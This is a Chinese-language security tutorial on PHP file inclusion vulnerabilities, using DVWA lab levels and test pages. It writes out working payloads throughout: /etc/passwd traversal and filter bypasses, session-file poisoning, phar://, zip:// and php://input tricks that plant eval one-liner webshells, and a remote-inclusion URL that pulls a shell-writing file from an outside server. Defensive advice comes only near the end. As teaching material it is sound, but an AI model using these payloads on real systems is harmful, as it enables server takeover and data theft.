文件包含漏洞引发的安全思考
2020年12月10日,23:44分,写作背景很不巧又是一个寂静的夜晚,笔者这次为大家带来关于文件包含漏洞的攻防点,同时也为了自己梳理下这个漏洞知识。阅读全文大概需要10分钟。
漏洞原理
文件包含漏洞是一个最常见的依赖于脚本运行而影响Web应用程序的漏洞。当应用程序使用攻击者控制的变量建立一个可执行代码的路径,容许攻击者控制在运行时执行哪个文件时,就会导致文件包含漏洞。程序开发人员通常会把可重复使用的函数写入单文件中,在使用这些函数时,程序开发人员直接调用此文件,而无需再次编写函数,这种调用文件的过程一般被称为文件包含。此外,程序开发人员都希望代码更加灵活,所以通常会被包含的文件设置为变量,用来进行动态调用。但正是由于这种灵活性,从而导致客服端可以调用恶意文件,导致文件包含漏洞.哈哈程序员又要背锅了。
分类
分为本地文件包含漏洞和远程文件包含漏洞远程文件包含(RFI):当web应用程序下载并执行远程文件时,会导致远程文件包含,这些远程文件通常以HTTP或FTPURL的形势获取,作为web应用程序的用户提供的参数.本地文件包含(LFI):本地文件包含类似于远程文件包含,本地包含仅能包括本地文件,即当前服务器上的文件以供执行
危害
web服务器的文件被外界浏览而导致信息泄露脚本被任意执行所造成的影响.典型的影响如下:
篡改网站、执行非法操作、攻击其他网站(垫脚石)
以下我们主要以dvwa为列进行不同级别进行分析。
low级别
打开low安全级别的文件包含页面'File lnclusion'
当我们点击'file1.php'时,对应的URL的page值变为file1.php,同时web应用执行file1.php文件的源
码;
当我们点击'file2.php'时,对应的URL的page值变为file2.php,同时web应用执行file2.php文件的源
码;
当我们点击'file3.php'时,对应的URL的page值变为file3.php,同时web应用执行file3.php文件的源
码;
由此可知,当我们在目标URL的page值后添加某个存在的文件名,web应用程序会相应的包含此文件.
同时,web应用程
序会根据其文件的内容是否符号php语法格式,判断执行此文件源代码还是直接显示文件源代码.
利用payload
使用payload为: ///etc/passwd
源码分析:
点击页面右下角的View Source,即显示low安全等级的文件包含的源码
wenb应用程序定义了一个变量page,将用户输入的值作为page变量的值,同时向其赋值给file变量.最后,web应用程序通过对file变量的引用来实现文件的包含功能从源码我们可以看到,low安全等级的web应用程序没有对输入的page变量的值执行任何过滤措施,如果我们输入那些系统不希望用户看到任何信息的文件的文件名,并赋值给page变量.那么web应用程序就会产生文件包含漏洞,系统的敏感信息就会被泄露.
medium级别
点击页面右下角的View Source,即显示medium安全等级的文件包含的源码:
web应用程序使用str_replace()函数对关键字http://,https://,https://www.freebuf.com/articles/,..\执行了过滤操作,只要用户传递给page变量的
文件名出现上述关键字,替以空代替.这样,web应用程序保证了用户即无法使用http://,http:\\来利用远程文件包含漏洞,也无法使用https://www.freebuf.com/articles/,..\来利用本地文件包含漏洞.
如果我们不使用https://www.freebuf.com/articles/,..\这两个关键词,而是直接访问根目录下的用户信息文件/etc/passwd,由于web应用程序并没有对根目录/执行过滤,所以系统不能过滤我们输入的payload,那么web应用程序将成功包含文件/etc/passewd,并直接暴露其源代码.即我们构造的payload成功的绕过web应用程序的防御机制
hight级别
查看源码:
语法为:fnmatch(pattern,string,flags)pattern必需,规定要检索的模式string必需,规定要检查的字符串或文件
flag可选如果用户输入的文件名不是include.php或者以file开头的文件名,那么web应用程序直接退出所以high`安全等级是medium安全等级的扩展,在medium安全等级的基础上,进一步加强了文件包含漏洞防御对high安全等级而言,在medium安全等级的文件包含漏洞利用失败的技术无法在high安全等级下成功执行payload为:file1.php///etc/passwd我们就能成功看到系统用户敏感信息
文件包含漏洞进阶
PHP中文件包含函数有以下4种:
require()
require_once()
include()
include_once()
include和request区别主要是,include在包含的过程中如果出现错误,会出现一个警告,程序继续正常
运行;二request
函数出现错误的时候,会直接报错并退出程序的执行.
而include_once(),request_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适
应于在脚本执行
期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次一避免函数重定义,变量
重新赋值等问题.
1.简单利用,测试代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
上传
测试结果:
用菜刀连接通过目录遍历漏洞可以获取到系统中其他文件的内容
2.session文件包含漏洞
利用条件:session的存储位置可以获取通过phpinfo的信息可以获取到session的存储位置通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
session中的内容可以被控制,传入恶意代码
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
分析:此php会将获取到的GET型ctfs变量的值存入到session中当访问http://172.16.15.158/include/session.php?ctfs=ctfs后,会在/var/lib/php/session目录下存储session的值session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取所以session的文件名sess_46s8jvjg6lb7k3b5tt4o6n8n62(随机名)
通过上面的分析.可以知道ctfs转入的值会存储session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell当访问http://172.16.15.158/include/session.php?ctfs=%3C?php%20phpinfo();?%3E后,会在/var/lib/php/session目录下存储session的值攻击者通过phpinfo()信息泄露或者猜测能获取到session存放位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell.http://172.16.15.158/include/lfi.php?filename=/var/lib/php/session/sess_46s8jvjg6lb7k3b5tt4o6n8n62
同理写入shell
http://172.16.15.158/include/session.php?ctfs=%3C?php%20@eval($_POST[123])?%3E(与上面不一样)
过文件包含的漏洞解析恶意代码
http://172.16.15.158/include/lfi.php?filename=/var/lib/php/session/sess_46s8jvjg6lb7k3b5tt4o6n8n62
远程文件包含
include/request等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程
文件包含漏洞
allow_url_fopen=On (是否容许打开远程文件)
allow_url_includeOn (是否容许include/request远程文件)
1.无限制远程文件包含漏洞
测试代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
上传
在用户端打开终端,输入:python -m SimpleHTTPServer 8000
http://172.16.15.158/include/rfi.php?filename=http://192.168.3.32:8000/php.txt
通过远程文件包含漏洞,包含php.txt可以解析
2.有限制远程文件包含漏洞绕过
测试代码:
<?php include($_GET['filename'].".html");?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀
http://172.16.15.158/include/rfi2.php?filename=http://192.168.3.32:8000/php.txt
就没有显示,一片空白
a.问号绕过
http://172.16.15.158/include/rfi2.php?filename=http://192.168.3.32:8000/php.txt?
就可以显示phpinfo
b.#号绕过
http://172.16.15.158/include/rfi2.php?filename=http://192.168.3.32:8000/php.txt%23 (%23就是#)
就可以显示phpinfo
PHP伪协议
PHP带有很多内置URL风格的封装协议,可用于类似fopen(),copy(),file_exists()和fileize()的文件系统
函数.除了这些封
装协议,还能通过stream_wrapper_register()来注册自定义的封装协议.
1.php://输入输出流
PHP提供了一些杂项输入/输出(IO)留,容许访问PHP的输入输出流,标准输入输出和错误描述符,内存
中,磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
php://filter (本地磁盘文件进行读取)
元封装器,设计用于"数据流打开"时的"筛选过滤"应用,对本地磁盘文件进行读写.用法:
http://172.16.15.158/include/lfi.php?filename=php://filter/read=convert.base64-encode/
resource=rfi.php
同理可读config.inc.php等配置文件
http://172.16.15.158/include/lfi.php?filename=php://filter/read=convert.base64-encode/resource=/var/www/html/config/config.inc.php
2.phar://伪协议
这个参数就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压
用法:?file=phar://压缩包/内部文件 phar://XXX.png/shell.php注意:PHP>=5.3.0压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用.步骤:写一个info.php,然后用zip协议压缩为info.zip,然后将后缀改为png等其他格式,然后传入服务器
测试代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
http://172.16.15.158/include/lfi.php?filename=phar://info.png/info.php
写入shell:写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式,传入服务器.利用payload
http://172.16.15.158/include/lfi.php?filename=phar://shell.png/shell.php
使用cknife连接shell
3.zip://伪协议
zip伪协议和phar协议类似,但是用法不一样用法: ?file=zip:[压缩文件绝对路径]#[压缩文件内的子文件名]
zip://xxx.png#shell.php条件:PHP>=5.3.0,注意在windows下测试要5.3.0<PHP<5.4才可以linux下PHP>=5.3.0
#在浏览中要编码为%23,否则浏览器不会传输特殊字符http://172.16.15.158/include/lfi.php?filename=zip://info.png%23info.php
同phar 即可shell,可以用菜刀连接
4.php://input
可以访问请求的原始数据的只读流.即可以直接读取到POST上没有经过解析的原始数据.enctype="multipart/form-data的时候php://input是无效的用法: ?file=php://input数据利用POST传过去
写入木马
测试代码:
<?php
$filename=$_GET['filename'];
include($filename);
?>
条件:php配置文件中需同时开启allow_url_fopen和allow_url_include (PHP<5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行.如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写下一个木马
<?php fputs(fopen("shell2.php","w"),"<?php @eval(\$_POST[123]);?>")?>
命令执行
条件:php配置文件中需同时开启allow_url_fopen和allow_url_include (PHP<5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行.<?php system( 'whoami' ) ?>同样操作
条件:
chown apache:apache include/
chmod -R 777 include/
shell2.txt的内容:<?php fputs(fopen("shell2.php","w"),"<?php @eval(\$_POST[123]);?>")?>
http://172.16.15.158/include/rfi.php?filename=http://192.168.3.32:8000/shell2.txt
菜刀连接http://172.16.15.158/include/shell2.php即可,上面的类似连接方式是无法连接的
防御
笔者总结了以下几点来防御文件包含漏洞,如下:
1.严格限制包含中的参数,取消那些不可控的参数。
2.开启open_basedir()函数,将其设置为指定目录,则只有该目录的文件允许被访问。
3.如果不需要文件包含,则关闭allow_url_include()函数,防止远程文件包含,这是最安全的办法。
4.如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。
总结
通过上面的详解,我们可以了解文件包含的分类以及漏洞成因,更多情况文件上传通常会成为本地文件包含打手,对于本地文件包含可尝试通过错误日志getshell,不过这种方式对日志文件权限要求苛刻。
同时也为我们带来了许多思考,作为防御方,我们不难发现所有的漏洞都是由于输入输出问题导致的,我们是不是该思考我们怎么把这个漏洞消灭在萌芽中,是不是该在开发阶段就应该发现,弃用这些危险函数或者对参数严格过滤(默认信任和默认不信任方式),以及权限的严格控制。所以不管是安全厂商还是企业都应该严格控制安全开发环节,这样可以有效遏制住漏洞的发生率,比如在企业推SDL开发,在系统设计的时候,安全内核、安全监控( 安全策略、产品)、安全边界、客体、主体都应该是我们设计系统的核心因子,还有就是严格的身份认证与授权管理方案。系统在上线前的认可和认证才能使用。对于攻击放当然就是怎么绕过代码层的替换等规则以及如果对方有杀软我们怎么做到免杀以及webshell管理流量的隐藏都是需要我们考虑的。